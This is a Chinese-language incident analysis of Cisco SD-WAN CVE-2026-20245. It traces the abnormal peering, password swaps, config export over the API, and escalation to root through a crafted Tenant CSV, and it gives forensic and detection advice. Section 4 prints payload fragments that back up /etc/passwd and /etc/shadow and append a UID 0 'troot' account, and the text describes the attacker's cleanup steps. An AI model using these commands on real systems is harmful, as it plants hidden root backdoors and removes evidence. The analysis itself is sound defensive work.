漏洞

密码恢复原样,设备却多了一个 root:Cisco SD-WAN CVE-2026-20245

一次短暂的 admin 密码改动打开了 Catalyst SD-WAN Fabric,一份特制 Tenant CSV 随后创建 UID 0 账户,清理动作又试图把设备恢复成眼熟的样子;CVE-2026-20245 的关键不只在 netadmin 如何抵达 root,也在响应团队如何找回仍然存活的证据。

手绘图中,一份带红色行的表格从左侧送入 SD-WAN 控制设备,红色路径穿过设备内部延伸到两把钥匙,设备下方连接着由多台边缘节点组成的 Fabric。
文章导航

研究依据SOSEC 网络基础设施安全研究 · 依据 Cisco PSIRT、修复指南与产品日志,以及 Mandiant 公开的事件记录复原此次控制平面入侵

来源Cisco PSIRT 与修复指南 / Mandiant 事件响应报告 / Cisco 产品文档 / SOSEC 证据关联复查

1 密码恢复原样时,设备已经讲过另一个故事

1.1 一次短暂改密打开 Fabric,随后又从最终状态里消失

2026 年 3 月 7 日凌晨,一台服务提供商的 Cisco Catalyst SD-WAN Manager 接受了来自异常控制平面地址的管理活动。对方先通过新建立的异常 peer 取得通往设备的路径,再以默认内部账户 vmanage-admin 登录 SSH。接下来的动作很短:修改另一只默认账户 admin 的密码,用新密码进入 8443 端口上的 Web 管理界面,连续读取边缘设备、控制器和已附加配置,最后回到仍然存活的 SSH 会话,把 admin 密码改回原值。值班人员稍后仍可照常登录,配置页面也没有留下显眼的新账户;在最终状态里,这段访问近乎透明。

1.2 一个月后,一份 Tenant CSV 把产品账户送到 UID 0

一个月后,调查记录出现了更深的一层。对方已经能以 admin 建立 SSH 会话,并执行一条看似属于产品维护面的命令:request tenant-upload tenant-list /home/admin/evil_tenant.csv vpn 0。命令名称描述的是 Tenant 列表上传,输入也确实是一份 CSV。设备随后调用产品脚本处理文件,日志甚至写下“Successfully loaded the tenant placement file”。同一份 CSV 中夹带的 shell 片段却在高权限上下文里运行:备份 Tenant 配置、复制 /etc/passwd/etc/shadow,再向两份账户数据库追加一行名为 troot、UID 和 GID 都为 0 的记录。

troot 随即被使用。Mandiant 在认证记录中观察到 admin 成功执行 su 切换到该账户。此刻,产品里的 netadmin 权限已经跨过 Linux 操作系统的权限隔离,变成与 root 等价的本地身份。随后出现的动作同样有次序:还原被触碰的配置和账号文件,删除 evil_tenant.csv 及隐藏备份,运行一段验证循环检查恶意文件、troot 和 Tenant 列表是否恢复到预期状态。清理脚本把“没有看到文件”当成成功标准,调查则需要从已经发生过的状态转换中寻找证据。

CVE-2026-20245 把 SD-WAN 产品管理权限与 Linux root 连在了一起。产品管理员可以管理 Fabric,操作系统 root 则能读取、修改和清除承载这套 Fabric 的设备。攻击者先取得前一种权限,再借文件上传工作流进入后一层;配置导出、账户操纵和反取证都发生在这次越界之后。对于承担多站点编排的控制组件,一次本地提权的调查范围自然延伸到其掌握的设备身份、路由、证书、模板和运维凭据。

值班团队最早可以抓住的信号,是同一台 Manager 上原本分属不同运维流程的动作突然挤进一个短窗口:陌生 peer 变为 up,内部账户建立 SSH,默认管理员密码先改后还,8443 会话连续读取设备与配置。任何单项都可能遇到合法解释;按设备、校正时间、会话和事务合并之后,它们共同描述了一次有入口、有收集目标、也有退出动作的管理面访问。4 月的 Tenant 上传与 troot 再把这次访问推进到操作系统层。

2 一台 Linux 主机,可以借整张 Fabric 的权力说话

2.1 Manager、Controller、Validator 与 Edge 承担的是四种权力

Catalyst SD-WAN 将传统逐台配置路由器的方式拆成管理、控制、验证和边缘转发角色。旧称 vManage 的 Manager 提供 Web、API、模板、监控和编排入口;旧称 vSmart 的 Controller 分发控制策略与路由信息;旧称 vBond 的 Validator 协助设备完成初始认证与编排;WAN Edge 承担实际站点的数据转发。产品在 20.12 系列前后逐步改名,运行日志和命令仍会混用 vManage、vSmart、vBond、Viptela 等历史名称。调查清单需要同时保留新旧名称,否则很容易漏掉节点或检索词。

手绘控制平面图把 Manager、Controller、Validator、WAN Edge 与管理身份放在同一张信任地图上。
图 1:一台控制组件承载的不是单机信息,而是整张 Fabric 的身份、配置与变更通道。

设备之间的 control connection 是一条受信控制通道。Peer 通过证书和协议握手建立关系,交换设备身份、系统 IP、站点和域信息,并为后续编排提供通信路径。Cisco 的日志示例会记录 peer-typepeer-system-ippublic-ippublic-portdomain-idsite-id 与状态。对方一旦把自己的节点伪装成合法 peer,随后发出的管理流量便可能从控制组件眼中的“内部关系”到达 SSH 或 NETCONF,而外围防火墙只看到一条看似合理的控制面连接。

2.2 vmanage-admin、admin、netadmin 与 root 不是同一只账户

vmanage-adminadmin 在公开事件中承担了不同角色。前者用于 peer 间的内部高权限操作,攻击者通过异常连接获得它的 SSH 会话;后者是产品标准管理账户,可进入 CLI 和 Web 管理面。Cisco 与 Mandiant 均明确指出,两者默认都不拥有 root shell。CVE-2026-20245 承接已经取得的 netadmin 能力,把会话继续提升到 Linux root;异常 peer、凭据或认证绕过负责把远程操作者送进此前的权限层。

控制组件通常比普通服务器更难取证。许多企业会在终端部署 EDR,却不会在网络控制器的封闭系统中安装同等代理;日志保留受设备空间限制,服务重启与滚动文件会快速覆盖细节。与此同时,Manager 掌握的对象远多于自身:设备清单、控制器关系、配置模板、认证设置、证书引用、路由与 VPN 定义都可能从一台设备被导出。这种“遥测较少、权限集中”的结构让最终状态检查尤其不可靠,也说明了为什么 Cisco 要求先从所有控制组件收集 admin-tech,再实施升级或配置变更。

公开事件发生在服务提供商环境,影响判断还要考虑多租户和托管责任。一个 Manager 集群可能管理多个客户、区域或灾备站点,配置对象可能在节点间复制,控制器也可能由 Cisco 托管。调查范围应由导出的 API 对象、集群 revision、Tenant/VPN 关联、设备模板和实际下发记录共同确定:哪些控制面数据被读取,哪些配置曾传播到 Edge,哪些租户只共享了平台却没有出现对象访问或变更证据。

3 三段活动经过同一受害环境,却还不能归给同一个操作者

3.1 早期异常 peer 仍是待证假设,3 月记录排除了最简单的解释

从 2025 年末到 2026 年 1 月,Mandiant 在受害环境的 SD-WAN Manager 上看到多次未授权 peering。当时 CVE-2026-20127 与 CVE-2026-20182 尚未公开,相应补丁也未全部可用,因此调查者将两项认证绕过列为可能路径。这是基于时间、暴露面和漏洞能力形成的候选解释;公开材料只支持“处在可能利用窗口”这一层判断,尚未把任何一条早期连接归入具体 CVE。

2026 年 3 月,同一环境又出现新的异常 peering,随后发生 vmanage-admin SSH、admin 密码修改和配置导出。这个阶段提供了更强的排除信息:承载连接的设备运行版本不受 CVE-2026-20127 影响,Cisco 也向调查方确认连接没有利用 CVE-2026-20182。Mandiant提出的另一种可能是先前失陷中被盗取的证书材料继续用于建立信任。公开证据仍未公布具体证书、序列号或握手记录,所以“被盗证书”也应保留为调查假设。

4 月观察到的 CVE-2026-20245 利用拥有完整得多的证据关联:admin SSH 会话、精确 CLI 命令、文件路径、产品脚本、恶意 CSV 残片、系统账号文件内容和成功 su 记录彼此能够连接。Cisco 将漏洞归入 CSCwu18563,说明需要 netadmin 权限,通过特制文件可在 Controller、Manager 与 Validator 上以 root 执行任意命令。Mandiant 是报告方,并记录了真实环境中的利用结果,因此这一阶段可以确定为真实利用。

Mandiant明确写道,尚不清楚 2025 年末至 2026 年 1 月的异常 peering 与 3 月活动是否由同一行为者实施。4 月提权出现在同一总体入侵调查中,且与管理账户访问形成直接前后关系;这并不会反向证明更早的 peer 由同一人建立。时间线应当以资产和证据相连,归因则按时期单独记录。这样既不会人为切断可能相关的调查,也不会用“同一受害者”替代行为者证据。

时间图以三段轨道保留事实之间的空白。三个时期仍应放入同一案件板,因为它们触及相同 Fabric、控制组件与信任材料,证书和配置导出可能造成长期后果;行为者连续性则继续带着问号,等待 peer 证书、源基础设施、SSH 公钥、操作节奏或其他独立证据。保持这一区分,可以避免错误归因影响告警范围、法律通知和后续情报共享。

3.2 3 月 7 日的五个请求,把“配置被导出”拆成可检索序列

Mandiant公布的访问日志从 POST /j_security_check 开始。该请求返回 200,说明使用刚刚修改的 admin 密码完成了 Web 认证。下一秒出现 GET /dataservice/system/device/vedges,响应体长度约 10 KB;再下一秒请求 /dataservice/system/device/controllers,响应约 15 KB。随后对某个设备 ID 请求 /dataservice/template/config/attached/<Device ID>,返回 200;紧接着对 /dataservice/template/config/running/<Device ID> 的请求返回 400。成功与失败的响应共同描述了枚举范围和操作顺序。

三条分离的调查时间线区分早期异常对等、三月管理访问与四月特制 CSV 提权。
图 2:资产连续性可以合并调查,行为者连续性仍需独立证据。

“配置导出”因此不应只形成一条笼统告警。响应日志至少可以按源控制平面 IP、Manager 目标 IP、端口 8443、时间、HTTP 方法、路径、状态码、响应字节数、用户代理、会话标识与 REST tracing ID 组织。将同一源在两秒内访问 devices、controllers 和 config 路径的行为聚合,比单独告警每个 GET 更接近真实意图。若企业有反向代理、WAF 或集中日志,原始头部还可能保留设备日志未记录的 TLS、连接与转发字段。

密码变化把 SSH 与 Web 会话连接起来。vmanage-admin 先在 SSH 中修改 admin,Web 会话随后以 admin 登录,导出完成后,原 SSH 会话再恢复密码。关联主键不应只依赖用户名,因为用户名在两个界面不同;可以使用设备、校正后的 UTC、源 IP、变更 transaction、目标账号、Web 会话和操作窗口拼接。若 Web 流量经过地址转换,SSH 源和 HTTP 源不同,还需用时间、跳板机记录和密码 rollback 连接。

返回 400 的 running-config 请求也有价值。失败说明对方确实尝试访问特定对象,可能因设备状态、参数或权限未得到预期结果。攻击调查中常见的错误是只保留 2xx 请求,导致枚举、试错和路径试探被过滤。对这起事件,2xx 证明数据被读取,4xx 则补全了操作序列。调查人员还应在运行与受害设备相同版本的受控系统中重建同一 API 行为,确认该版本下 200 响应通常返回哪些字段、此次请求为何失败,并检查后续日志中对方是否改用其他端点重试。这样可以把重建的产品行为与受害现场捕获的数据明确分开。检测查询应同时统计成功与失败,并把短时间内由成功枚举转向配置路径的行为标成高优先级。

配置内容需要按实际响应重新划定暴露面。设备列表可能泄露系统 IP、站点、型号、状态和版本;控制器列表暴露 Fabric 角色与管理拓扑;attached configuration 将设备和模板关联;running configuration 可能包含更具体的接口、路由、VPN、认证与密钥引用。报告不应假定所有 secret 都以明文出现在这些响应中,也不能因没有明文密码就判定风险有限。对方取得的拓扑、命名和版本信息足以支持后续定向访问,任何可导出的凭据或证书材料则需要进入轮换清单。

4 入口很窄,出口却直达 root:特制文件进入,特权命令执行

Cisco 将 CVE-2026-20245 描述为 Catalyst SD-WAN 控制组件 CLI 中的输入数据校验缺陷。受影响产品是 Controller、Manager 与 Validator,漏洞不依赖某一种特殊设备配置;成功利用要求攻击者已经通过本地认证并拥有 netadmin 权限。CVSS 3.1 向量为 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H,基础分 7.8。这里的 Local 表示漏洞入口在设备本地认证上下文,并不意味着现实中的攻击者必须站在机房;异常 peer、被盗凭据、跳板机或另一项认证绕过都可能把远程对手送到这个前提位置。

厂商没有公开 Tenant CSV 解析器、特权脚本包装层或 CSCwu18563 补丁的源代码,因此无法诚实地给出内部函数名和逐行 diff。现有公开证据能够固定到四个相邻观察点:CLI 接受 tenant-list 路径和 VPN 参数;/var/log/scripts.log 记录 vconfd_script_upload_tenant_list.sh -cli path ... vpn 0;恢复到的 CSV 残片包含针对系统文件的 shell 语句;/etc/passwd/etc/shadowsu 记录证明 root 账户实际产生并被使用。内部缺失一段专有实现,外部输入、产品工作流和执行结果仍形成闭合链路。

Cisco 的根因措辞是文件上传功能没有正确过滤恶意数据,CWE 标为 CWE-116,即输出编码或转义不当。结合载荷片段,可以把可观察逻辑表述为:CSV 中某个字段进入由高权限脚本处理的上下文,攻击者构造的 shell 语法没有被当作纯数据隔离,最终执行账户文件操作。公开材料没有给出具体列名、分隔符位置、quote 规则或执行 API,因此本文不编造“哪一列”或“哪一个函数调用 system()”。后续若 Cisco 发布 CSAF 更新、补丁二进制或研究者获得合法样本,可再将链路向内部收敛。

漏洞与 CVE-2026-20127、CVE-2026-20182 是不同阶段。前两项是 peering 认证绕过,CVSS 10.0,成功后获得内部高权限但非 root 账户;CVE-2026-20245 是认证后的本地提权。Cisco 的 2026 年 6 月修复指南把 20127/20182 列为未认证远程攻击者取得 20245 所需权限的已知路径,也单独保留“持有有效凭据”的情况。资产只修 20245,会封住已登录账号向 root 的一步,却可能继续允许伪造 peer 或未授权管理访问;只修认证绕过,也无法消除已经泄露凭据或现存会话对 20245 的利用能力。

NVD记录了 CISA 对该漏洞的 SSVC 判断:存在活跃利用、不可完全自动化、技术影响为 total;CISA KEV 于 6 月将其纳入已知被利用漏洞目录。这个标签与现场证据相互印证,但处置顺序仍要以企业资产和证据保存为准。对于互联网暴露的控制组件,认证绕过和提权组成短链;对于严格隔离但凭据已失陷的环境,20245 仍然可达;对于从未启用相关产品版本的网络,KEV 不应替代准确资产识别。

4.1 “本地”描述的是最后一步,不是攻击者抵达设备的旅程

CVSS把攻击向量标为 Local、所需权限标为 Low,这是对CVE-2026-20245自身入口的描述。它回答“在执行漏洞那一刻,攻击者位于哪里、拥有什么权限”,并不回答“对方最初如何来到这里”。在公开事件中,异常peer和管理账户完成了前置移动;在另一个环境里,前提可能来自泄露的SSH key、共享运维账户、被攻陷跳板机、托管方会话或内部管理员终端。漏洞管理若只读取 AV:L,很容易把控制平面设备排到普通本地提权之后。

五个 HTTP 请求按时间排列,从登录到设备、控制器和配置数据导出。
图 3:请求顺序为会话、对象类型和响应规模提供可检索的关联键。

第一种暴露模型是互联网可达的控制组件,同时仍受CVE-2026-20127或CVE-2026-20182影响。此时未经认证的远程对手可能先绕过peering认证,取得内部高权限非root账户,再进入20245。两项漏洞串联后,外部到root的路径短,且控制组件掌握整个Fabric。优先级应是保存admin-tech、限制端口、同时升级认证绕过和提权,而非先后分两个月处理。

第二种模型是认证绕过已修复,但管理凭据、SSH key或证书材料可能泄露。Cisco的6月指南明确指出,修复20127/20182只缓解已知的未认证路径,不消除持有有效凭据的攻击者。若3月配置导出包含可复用secret,或组织在多台设备使用同一管理身份,20245仍然可达。凭据轮换和session撤销与补丁具有同等必要性。

第三种模型是控制组件不直接暴露互联网,却由共享跳板机、第三方NOC或自动化系统访问。路径长度增加,不代表风险消失;入口转移到身份和运维供应链。资产表要列出谁能发起SSH、NETCONF、Web/API和控制连接,认证方式是什么,是否使用MFA或证书,凭据存放在哪个系统。第三方连接异常时,外围防火墙的“仅允许跳板机”并不能区分合法与失陷会话。

第四种模型中的设备仍运行受影响版本,但已经严格隔离,且没有有效凭据泄露的证据。此时 20245 不可从外部直接触达,紧急程度可以低于已经暴露的设备,但仍须升级到厂商支持的修复版本,因为未来一次内部账户失陷就会重新打开漏洞路径。优先级降低应来自可证明的网络、身份和版本条件,并设定复核日期;“设备在内网”本身没有说明管理链路。

风险登记可以把链路写成谓词:入口可达 ∧ 获得netadmin ∧ 版本受影响 ∧ 上传路径可用 → root。每个条件附数据来源和最近验证时间。任何一项为未知,结论便是“未判定”而非“不受影响”。这种表达比一行CVSS更适合运营,因为团队可以分别关闭端口暴露、认证绕过、凭据风险和受影响版本,并看到剩余路径。

影响也要按角色加权。相同root提权落在孤立测试节点、灾备Validator、生产Manager集群和托管多租户控制面上,业务后果不同。记录节点管理的Edge数量、站点、关键业务、租户、证书权限和配置传播能力,才能把技术严重度转换成维护窗口与事件级别。对于金融、医疗、零售和服务提供商等广域分支环境,控制器中断或配置失真可能同时影响大量站点。

这份文件披着运维数据的外衣,第一件事却是为事后恢复准备退路。载荷开头没有立刻创建账户。它先检查 /usr/share/viptela/vbond_vsmart_tenant_list 是否存在,以及文件中是否已经出现一段被公开报告隐去的值。若文件不存在,或存在但符合某种条件,脚本在 /home/admin/.orig_vbond_vsmart_tenant_list.state 写入 absent;若文件存在且需要保留,则写入 present 并用 cp -a 复制到隐藏备份。-a 尽可能保留权限与时间等属性,使后续恢复更接近原文件。

if tenant_list exists and condition matches:
    echo absent  > .orig_vbond_vsmart_tenant_list.state
elif tenant_list exists:
    echo present > .orig_vbond_vsmart_tenant_list.state
    cp -a tenant_list .orig_vbond_vsmart_tenant_list
else:
    echo absent  > .orig_vbond_vsmart_tenant_list.state

这种状态文件说明对方预先考虑了回滚分支。单纯复制原文件还不足以恢复“原来不存在”的状态;必须记住应当把新文件删除,还是把旧文件放回去。present/absent 是一位攻击者为自己的清理代码保存的布尔条件。取证时它也是很有价值的语义证据:文件名、状态内容和旁边的备份共同显示,这些对象来自一套准备—修改—恢复的流程,而非运维人员随手留下的副本。

随后两条 cp -a/etc/passwd/etc/shadow 分别复制为 /home/admin/.orig_passwd.orig_shadow。把备份放在当前管理用户目录,既方便载荷后续读取和恢复,也避免需要额外路径。文件名前导点让普通 ls 不显示它们,却不会阻止日志、文件系统元数据或 ls -la 发现。Mandiant 没有恢复这些备份的完整内容,因此其哈希不可得;不能把“未恢复”写成“文件从未存在”。

账号创建使用两个幂等检查:grep -q '^troot:' /etc/passwd 和对 shadow 的同类查询。只有目标行不存在时才追加,避免重复利用产生多行并触发显眼错误。passwd 内容为 troot:x:0:0:root:/root:/bin/bash:用户名 troot,密码字段由 shadow 管理,UID 0,GID 0,说明字段 root,家目录 /root,登录 shell /bin/bash。Linux权限判断主要依赖数值 UID;名字不是 root 并不会降低它的权限。

cp -a /etc/passwd /home/admin/.orig_passwd
cp -a /etc/shadow /home/admin/.orig_shadow

grep -q '^troot:' /etc/passwd ||
  echo 'troot:x:0:0:root:/root:/bin/bash' >> /etc/passwd

grep -q '^troot:' /etc/shadow ||
  echo 'troot:<hash>:19000:0:99999:7:::' >> /etc/shadow

shadow 行包含一个被公开材料隐去的密码哈希,后续数字采用常见的密码老化字段。关键证据是对方已经用自己掌握的口令完成 su。认证日志中的“Successful su for troot by admin”把静态账户行连接到实际权限使用;若只有 passwd 差异,还可能讨论脚本是否执行到尾、账户是否可认证,成功 su 则确认了利用结果。

整段载荷还有一个运营意图:维持设备功能。Tenant 列表若被恶意 CSV 覆盖而无法恢复,控制组件可能报错、重载或暴露异常。先保存原状态,再创建 root,再复原业务文件,可以减少服务中断和管理员注意。提权载荷因此同时承担漏洞利用与现场管理,验证脚本则对清理结果做验收。它展示的是一套经过测试的短流程,而非一次碰运气的命令注入。

4.2 Linux 没有在意 troot 这个名字,它只服从 UID 0

/etc/passwd 的用户名主要服务于显示与登录,权限检查依赖UID。载荷把troot的第三个字段设为0,内核、文件权限和多数特权判断都会把该进程视为超级用户。GID同样设为0,家目录和shell指向 /root/bin/bash。因此,搜索“用户名是否等于root”会漏掉这类账户;调查必须枚举所有UID 0记录,并与批准基线比较。

特制 CSV 经 tenant-upload 工作流进入特权脚本,最终写入 UID 0 账户。
图 4:漏洞把本应作为数据解析的租户行带入了 root 权限的命令执行路径。

账户数据库的两份文件承担不同职责。passwd保存公开账户属性,密码位置以 x 指向shadow;shadow保存哈希和密码老化字段。只向passwd追加UID 0而没有可用shadow项,仍可能通过某些认证方式或密钥获得权限,但本次载荷同时写两份文件,提供了可由攻击者口令使用的完整本地账户。成功su记录证实PAM和密码检查已经走通。

su 与SSH登录留下的证据不同。它从已登录的admin会话切换有效身份,网络侧不会出现新的连接,源IP也不会重新认证。auth.log中的发起用户、目标用户、终端、PID和时间需要与原SSH会话连接。若只查询“troot from 某IP”,可能找不到结果;正确路径是先定位admin会话,再寻找该会话期间的su。

恢复原passwd和shadow可能清除当前账户,却不一定终止已经运行的root进程、已打开shell、写入的authorized_keys、systemd服务、cron、库替换或配置修改。公开报告只确认troot与清理动作,没有列出这些持久化方式被使用的证据;响应仍需检查,因为root权限技术上允许它们发生。检查结果要区分“未发现”与“日志或磁盘不足以判断”。

账号文件恢复还会影响取证差异。若攻击者用最初备份整体覆盖,当前文件可能与入侵前字节完全一致,简单hash比较显示“无变化”;中间追加和su仍由日志、文件时间与恢复残片证明。若恢复只删除troot行,行序、inode、ctime或shadow字段可能变化。采集原始文件和元数据,再与可信备份比较,才能识别恢复方式。

事件响应中的账户清单不应止于passwd。还要导出产品用户、AAA/TACACS、SSH authorized_keys、Web角色、API token、证书身份和集群内部账户。vmanage-adminadmintroot 分别属于产品内部通道、产品管理身份和操作系统身份;它们的凭据、session和审计来源不同。把三者写成同一种“管理员账户”会掩盖跨层过程。

验收时,枚举UID 0只是第一步。确认passwd/shadow owner、mode和哈希与可信版本一致,PAM与sudo配置未被修改,root与管理用户的authorized_keys只有批准项,没有未知进程继续以UID 0运行,旧troot口令和会话均无法使用。若选择重建设备,从可信镜像、模板和secret重新onboarding比在存疑root环境中逐项清理提供更高保证。

从异常 peer 到 root,真正承重的是这些相互关联的记录,不是一行醒目的告警。完整链路从 control connection 开始。Peer 日志给出设备角色、系统 IP、公网地址、端口、状态与站点;认证日志给出 vmanage-admin、源地址、公钥指纹和认证方法;ConfD rollback 记录谁修改了 admin、transaction ID 和配置差异;Web/API 日志再记录认证端点、资源路径、状态码、响应大小、会话与 tracing ID。这些数据将“连接进入了系统”推进到“管理配置被读取”。

第二行链路进入 CVE。CLI history 保存 request tenant-upload 的原始命令,script log 记录实际被调脚本、-cli path 和 VPN,文件系统残片提供 CSV 与隐藏备份,账号文件给出 UID 0 行,认证日志最后提供 admin → troot 的成功切换。将节点按设备和校正时间排序,便能证明一份输入如何沿产品工作流抵达 Linux 身份数据库。

设备时间需要先校正。Cisco 文档说明 Manager 任务和管理日志以 UTC 显示,但系统 syslog、导出的文件时间或上游设备可能采用不同格式;Mandiant样例也混合 ISO 8601 与传统 syslog 时间。每份来源都应记录原始时间、时区假设、NTP 状态和相对于可信时间源的偏差,再生成标准化 UTC 字段。直接按屏幕时间排序,可能把密码修改、Web 登录和回滚的先后关系排错。

会话字段也不能只靠源 IP。服务提供商环境会使用 NAT、跳板机和共享管理网段,一只地址可能承载多位管理员;对方也可能从 peer 路径和普通管理路径使用不同地址。SSH 公钥指纹、认证方式、PID、Web session、REST tracing ID、ConfD transaction 与堡垒机会话可以进一步区分。若日志缺少某个字段,应把连接标成时间相关或推定,并让原始证据保持原值。

哈希用于两类对象。原始 admin-tech、日志导出和恢复文件需要采集 SHA-256,以证明调查副本未被修改;恶意 CSV 的公开 SHA-256则用于跨环境匹配。前者是证据完整性,后者是威胁指标,二者不能混在同一列。对于只剩文件名、没有内容的 .orig_*,记录“内容未恢复”与元数据,不应填入空字符串或用 CSV 哈希代替。

攻击者的清理清单,最后变成了响应团队的搜索目录。对方的验证循环依次检查五个路径:/home/admin/evil_tenant.csv、Tenant 列表备份、状态文件、passwd 备份和 shadow 备份。存在时输出 PRESENT 并执行 ls -ld,不存在时输出 ABSENT。随后脚本搜索 /etc/passwd 中是否仍有 troot,并检查正式 Tenant 列表是否存在。它关注的每个对象都对应前面载荷的一项状态。

清理动作至少包含三类。第一类是删除工具和工作文件,减少直接 IOC;第二类是还原配置与账户数据库,使管理员看到的最终值正常;第三类是主动验证,确认清理没有漏项。最后一类尤其能说明操作成熟度,因为行为者没有假设命令全部成功,而是读取结果。若验证输出被 shell history、终端审计或远端日志捕获,ABSENT 行本身就会成为“曾有人检查这些特定恶意对象”的证据。

当前状态只能回答“现在是什么”,不能回答“期间发生过什么”。当前 /etc/passwd 没有 troot,并不推翻先前追加和成功 su;当前密码等于原值,并不推翻两个 password-change 事件;当前 Tenant 列表内容正确,也不会消除上传脚本和文件路径。ConfD rollback、日志轮转、文件系统元数据和上游副本保存的正是这些状态之间的转换痕迹。

文件恢复应保留 inode、owner、group、mode、size、mtime、ctime、扩展属性和分配状态。对磁盘镜像进行恢复时,原始块设备、工作副本与导出文件分别计算哈希;如果设备不允许完整镜像,至少记录使用的 admin-tech、SCP 或平台导出方式及其局限。不要为了“看看内容”先在原机上反复运行 grep 或恢复工具,这些操作会改变访问时间、写入缓存并覆盖未分配空间。

设备已经重启或日志轮转后,上游证据的价值上升。集中 syslog、AAA/TACACS、跳板机、VPN、管理防火墙、反向代理、配置备份、NetFlow 和云托管审计可能保存更长时间。把每一来源的保留周期写入案件板,可以确定最迟采集时间。对于 2025 年末的 peering,设备本地日志可能已经消失,证书登记、控制器历史、备份和网络侧记录可能成为仅存线索。

5 最终状态会说谎,调查只能追随事件留下的变化

直接观测层包括Mandiant从受害环境取得的命令、日志、文件残片和账号内容:request tenant-upload、上传脚本行、CSV SHA-256、troot记录、成功su、HTTP请求及清理验证脚本。它们能够证明具体活动发生,但公开文章对部分值进行了隐去,也没有发布完整磁盘镜像。SOSEC的复核只能使用公开片段,不声称重新取得受害者原始证据。

账户名称不同而数值 UID 相同,说明 troot 在 Linux 权限判断中等同 root。
图 5:Linux 按数值身份授权;五个字母的别名没有降低 UID 0 的权限。

厂商确认层包括Cisco对产品范围、权限前提、CVSS、CWE、固定版本、无workaround、TAC流程和现实利用的说明。对于3月peer,Cisco向调查方确认设备不受20127影响且未利用20182。厂商结论直接约束漏洞判断;它没有公开内部函数和补丁diff,因此不能进一步推出具体实现细节。

强关联层来自多源拼接。例如同一设备、紧邻时间的vmanage-admin密码修改、admin Web登录、API配置读取和密码恢复,能够支持一个连续管理会话;Tenant上传、脚本路径、账号文件和su支持从输入到root。若公开日志中的session或transaction被隐去,关联仍很强,却应注明用于连接的字段有限。

候选解释层包括2025年末—1月是否利用20127/20182、3月是否使用先前被盗证书、两个时期是否同一行为者。Mandiant使用“possible”“could instead”和“unclear”等措辞,报告要保留这些模态。候选解释可以指导检索证书和旧peer,却不能进入IOC描述或事件定性的已确认列。

阴性证据也有等级。某个完整、覆盖事件窗口且由独立上游保存的日志没有命中,支持较强的未观察结论;一个在事件后才开始保留的admin-tech没有命中,只说明当前包中无记录;存疑root设备上的当前文件正常,排除力最低。每个“未发现”都附来源、覆盖时间、完整性和攻击者是否能修改该来源。

这种分层能改善对外沟通。安全公告可明确写“已确认利用CVE-2026-20245创建UID 0账户”“正在调查早期异常peer是否使用认证绕过”“尚无公开证据连接两个时期的行为者”。客户、管理层和监管方由此知道哪些动作必须立即执行,哪些结论仍可能变化,不需要在后续更新中推翻过度确定的表述。

研究记录还应保存结论变化。新证书日志若证明3月peer使用已泄露材料,候选解释可升级;新的源基础设施重合不一定足以证明同一行为者,还需评估共享托管与时间。版本公告更新时,资产判断也要重新计算。报告作为带证据版本的技术记录持续更新,旧判断与修订原因一并保留。

5.1 一个陌生 peer,需要地址、证书、角色和本地拓扑共同解释

Cisco要求人工验证所有控制连接 peering 事件,重点关注 vmanage 类型。未知公网 IP 是起点,却不是唯一条件:托管服务、灾备切换和运营商地址可能变化,合法 peer 也会在维护后重新连接。有效验证需要同时核对时间是否落在变更窗口、公网地址是否属于组织或授权合作方、system IP 是否对应资产清单、peer type 是否符合部署角色、site/domain 是否合理,以及同一来源是否反复出现。

对 CVE-2026-20182,Cisco还给出 show control connections detail 与 history 视图的检查方法。一个连接处于 state: up,但统计中没有预期的 challenge-ack,需要提交 TAC 进一步判断。Controller/Manager 使用 control connections 命令,Validator 使用 orchestrator connections 命令。检查结果要保存完整段落,而非只截取 challenge-ack 0;协议、peer personality、system IP、public/private address、session ID 和计数方向共同决定语义。

Mandiant公布的八个 IP 应按时期和描述存储。126.51.108[.]152 同时被标为异常设备连接和 CVE-2026-20245 利用来源,其余七个被标为异常设备连接源。IP命中应触发案件关联,但不宜自动等同于已利用 20245:NAT复用、地址转让、共享托管和时间窗口都会影响判断。IOC记录至少带 first-seen、last-seen、来源报告、描述、采集日期和去污点版本。

本地拓扑基线最好从多个时点保存。当前 Devices 页面只能说明现在登记了什么,历史配置备份、证书数据库和 control connection history 能说明某个 system IP 何时出现、是否曾被授权。将 peer 证书序列号、subject、issuer、fingerprint、有效期、设备角色、组织名和注册交易合并,可以识别“IP变化但证书相同”或“system IP相同但证书替换”的情况。证书材料失窃假设只有在这类字段对比中才能获得或失去支持。

处置未知 peer 前先保存状态。直接删除注册、吊销证书或重启控制器会终止连接,也会改变后续可见性。业务风险要求立即隔离时,可以先在外层 ACL 限制来源,同时导出连接详情、证书、路由和会话;若必须在设备上操作,记录命令、执行者、时间和预期影响。所有隔离动作都应能与攻击者原有配置变化区分,避免调查团队自己的修复成为新的未知事件。

5.2 认证、回滚、脚本与命令历史必须放进同一个时间窗口

/var/log/auth.log 的第一类高价值事件是 Accepted publickey for vmanage-admin from。保存完整行可得到时间、设备、sshd PID、账户、源 IP、源端口、认证方式、密钥类型和 SHA-256 指纹。将来源与批准控制器、跳板机、运维网段和 system IP 清单比较;一个合法地址配上从未登记的公钥仍然可疑。keyboard-interactive/PAM 登录也需要保留,因为 Mandiant样例中的 admin 使用了该方式。

第二类是短时间内对 admin 的两次密码变更。Mandiant给出的示例相隔十五分钟,真实环境应从最早可用日志中建立本地分布;单个案例的十五分钟不适合作为统一阈值。按账户统计 password-change 后在短窗口内出现恢复、Web 登录或配置请求的组合;关联变更单和实名操作者。正常密码轮换通常有工单、一次性变更和后续验证,攻击者的模式则是临时取得可用凭据、完成访问、再回到原值。

/var/confd/rollback/ 提供配置层的第二份记录。示例头部包含 Created by: vmanage-admin、日期、Via: netconf、类型 delta、编号、TransactionId 与 Hostname,正文落在 system/aaa/user admin/password。按 transaction 顺序导出相邻 rollback,可以确认密码值被写入又恢复,并查看同一事务是否还改了 AAA、证书、接口或日志设置。报告中不应公开真实哈希或 secret,调查原件则需受控保存。

对 20.9 及以后版本,Cisco建议在 /var/log/scripts.log* 使用宽模式搜索 vconfd_script_upload_.*\.sh;20.9 之前的相同信息位于 /var/log/tmplog/vdebug*,旧归档还可能位于 /var/log/vdebug_<timestamp>.tar.gz。这一版本差异很重要:只在旧设备上 grep scripts.log 会得到“文件不存在”,却不能支持无命中的结论。所有集群成员和灾备配对 Manager 都需分别查询并记录覆盖时间。

# 20.9 及以后
zgrep -E "vconfd_script_upload_.*\.sh" /var/log/scripts.log*

# 20.9 以前的活动与滚动日志
zgrep -E "vconfd_script_upload_.*\.sh" /var/log/tmplog/vdebug*

# 20.9 以前的压缩归档
for f in /var/log/vdebug_*.tar.gz; do
